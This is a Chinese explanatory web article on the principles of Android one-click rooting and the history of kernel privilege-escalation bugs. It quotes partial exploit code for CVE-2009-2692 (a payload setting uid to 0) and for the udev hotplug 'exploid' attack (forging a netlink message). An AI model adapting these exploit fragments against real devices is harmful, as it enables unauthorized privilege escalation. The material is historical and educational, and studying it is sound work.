Android 手机一键 Root 原理分析

彩虹网

一直以来,刷机RootAndroid 手机爱好者最热衷的事情。即使国行手机的用户也不惜冒着失去保修的风险对 Root 手机乐此不疲。就在前不久,一年一度的 GoogleI/O 大会拉开了帷幕,最新的 Android4.1 系统成为了大会的热点,经过短短的几小时后,网上就有人泄露了 JellyBean 的下载地址,然后就有了 Android4.1 带 Root 的完整刷机包!

1.Root 的由来

什么是 Root?Root 本身是指 Linux 系统的 Root 账户,该账户拥有整个系统至高无上的权利,系统中的所有对象它都可以操作。对于 Android 手机用户来说,Root 是指拥有 Root 权限。一般情况下,手机厂商出于安全考虑会关闭手机的 Root 权限,手机系统运行在普通用户权限下,用户是无法操作系统中的文件与数据的。

Root 与刷机本身是有很多关联的,而且随着刷机工具的便利与刷机原理的变化,两者的关系更加模糊不清。不同厂商针对获取 Root 权限设置了不同的要塞。

首先从刷机说起,如 HTC 手机在刷机前需要保证 S-OFF。S-OFF 代表什么呢?S 代表 SecurityLock,是,保护锁的意思;S-OFF 就是关掉锁保护。对于 Motorola 的手机,厂商对于不同型号的手机设置是不同的,很多 Motorola 型号的手机的 BootLoader 是锁住的,因此,在刷机前需要先解锁 BootLoader。还有中兴手机,这厂商更变态,一次次的版本升级只是为了锁住用户不让用户升级,也就导致了同一型号的手机由于版本不同,有的型号带 Recovery,有的不带。三星的手机现在可以说是最好卖的,一方面是出色的硬件配置与外观,另一方面是有众多的 Rom 包可以刷。三星的好几款手机是 Google 源码的测试样机,而且三星手机在出厂时对用户的限制相比其他品牌是较少的,这也是广大 Android 开发者对它青睐有加的原因。

早先的 Android 手机要想获取 Root 权限可以有以下几种方式:

(1)使用本地提权漏洞,使用工具来直接 Root,这是最原始的方式。随着厂商对 Rom 的升级,这些内核的漏洞随时都可能被修补,因此,这种 Root 方法在时间与空间上都有着很大的局限性。

(2)由于手机厂商对硬件的封闭,加上内核补丁修补很完全,这个时候获取 Root 权限就更难了,这个时候刷机与 Root 就联合起来了,由于不能从系统内部通过 Exploits 来获取 Root 权限,只能通过修改 Rom 包来达到 Root 的目的,这也是目前很多第三方 Rom 包自带了 Root 的原因,然而手机厂商也不是吃干饭的,手机厂商在 OTA 升级时使用 Recovery 对包签名进行验证来防止用户刷入修改过的包。对于这种变态的厂商,只能通过 FastBoot 来线刷了,这个内容就不再展开了。

(3)当然,还有一部分厂商为了吸引更多用户购买他们的手机,在手机中偷偷地留了后门,比如不锁 BootLoader,让用户刷第三方的 Recovery,又或是干脆留个以前的漏洞不补,让用户自己来 Exploits 等。

2.Root 漏洞的历史

Root 漏洞不是与生俱来的,这是全世界优秀的计算机黑客不懈努力的成果。也许你在夜店喝酒的那个夜晚,他们却正寻找着系统的漏洞,一次次的测试,一次次的失败,最终在你醉得不省人事的时候,他们获取到了系统的最高控制权。他们欢呼,他们嚎叫,他们是全天下最聪明的人!

也许你对他们的事迹不屑一顾,但我相信你对他们的研究成果是饶有兴趣的。下面由我来带领大家,看看这一路走来都出现过哪些牛人,他们又为我们带来了哪些惊喜。

3.CVE-2009-2692

我无法知道 Android 提权漏洞是从什么时候开始的,但在我的印象中,这个漏洞的发现者是 Zinx,他是探索 Android 安全之路的先驱。现在每个 Root 后的手机中肯定有 SuperUser.apk 软件,而 Zinx 就是早先 SuperUser 的作者,现在 SuperUser 由 ChainsDD 来负责更新了,Zinx 前辈常年混迹于国外的 xda 论坛,不过现在好像很少露面了。

这个漏洞是 2009 年的,现在早已经修补了。从 Zinx 提供的 android-root-20090816.tar.gz 压缩包时间来看,这个 Exploit 是在 AndroidNDKr1 发布两个月后公布的,可见 Zinx 研究 Android 的时间是多么早!但这个漏洞的原作者并不是 Znix,Znix 只是将漏洞移植到了 Android 上,这个漏洞的作者在 Exploit 中给出的协议驱动程序包括 pppox、bluetooth、appletalk、ipx、sctp,Znix 改写的 Android 版本使用 Buletooth 协议。这个漏洞的起因是 sock_sendpage()的空指针解引用。因为 sock_sendpage 没有对 socket_file_ops 结构的 sendpage 字段做指针检查,有些模块不具备 sendpage 功能,初始时赋为 NULL,这样,没有做检查的 sock_sendpage 有可能直接调用空指针而导致出错并提升权限!

接着,sendfile(fdout,fdin,NULL,PAGE_SIZE)的调用使得该漏洞被触发,最终执行以下代码获取到 Root 权限:

        int__attribute__((section(".null")))root_sendpage(void*sk,v
      oid*page,intoffset,size_tsize,intflags)
        {
          current->uid=current->euid=0;
          current->gid=current->egid=0;
          got_root=1;
          return-ECONNREFUSED;
        }

4.CVE-2010-EASY

这个漏洞是由「TheAndroidExploidCrew」小组发现的。在公布的代码中,提供了 3 种提权方法,分别是 exploid.c 、 exploid2.c 、rageagainstthecage.c 3 个文件。

exploid.c 与 exploid2.c 属于同一类 Exploit,这个漏洞的形成是由于 udev 对热插拔消息检测不严导致的,用户通过发送恶意信息让内核加载自定义的恶意程序从而取得 Root 权限。在代码中,两者都是通过 NET_LINK 来完成通信的,只是在处理「geteuid()==0」时代码不同而已,程序发送伪热插拔消息,让内核执行自身代码,而内核由于没有检查消息发送者是内核还是用户,就匆忙地执行了,这时「geteuid()==0」条件成立,接下来只需开个 sh 就完成了 Root 工作。创建 Socket 并发送消息的代码如下:

        if((sock=socket(PF_NETLINK,SOCK_DGRAM,NETLIN
      K_KOBJECT_UEVENT))<0)
              die("[-]socket");
          close(creat("loading",0666));
          if((ofd=creat("hotplug",0644))<0)
              die("[-]creat");
          if(write(ofd,path,strlen(path))<0)
              die("[-]write");
          close(ofd);
          symlink("/proc/sys/kernel/hotplug","data");
          snprintf(buf,sizeof(buf),"ACTION=add%cDEVPATH=
      /..%s%c"
          "SUBSYSTEM=firmware%c"
          "FIRMWARE=../../..%s/hotplug%c",0,basedir,0,0,base
      dir,0);
          printf("[+]sendingaddmessage...\n");
          if(sendmsg(sock,&msg,0)<0)
              die("[-]sendmsg");
          close(sock);

免责声明:由于无法甄别是否为投稿用户创作以及文章的准确性,本站尊重并保护知识产权,根据《信息网络传播权保护条例》,如我们转载的作品侵犯了您的权利,请您通知我们,请将本侵权页面网址发送邮件到qingge@88.com,深感抱歉,我们会做删除处理。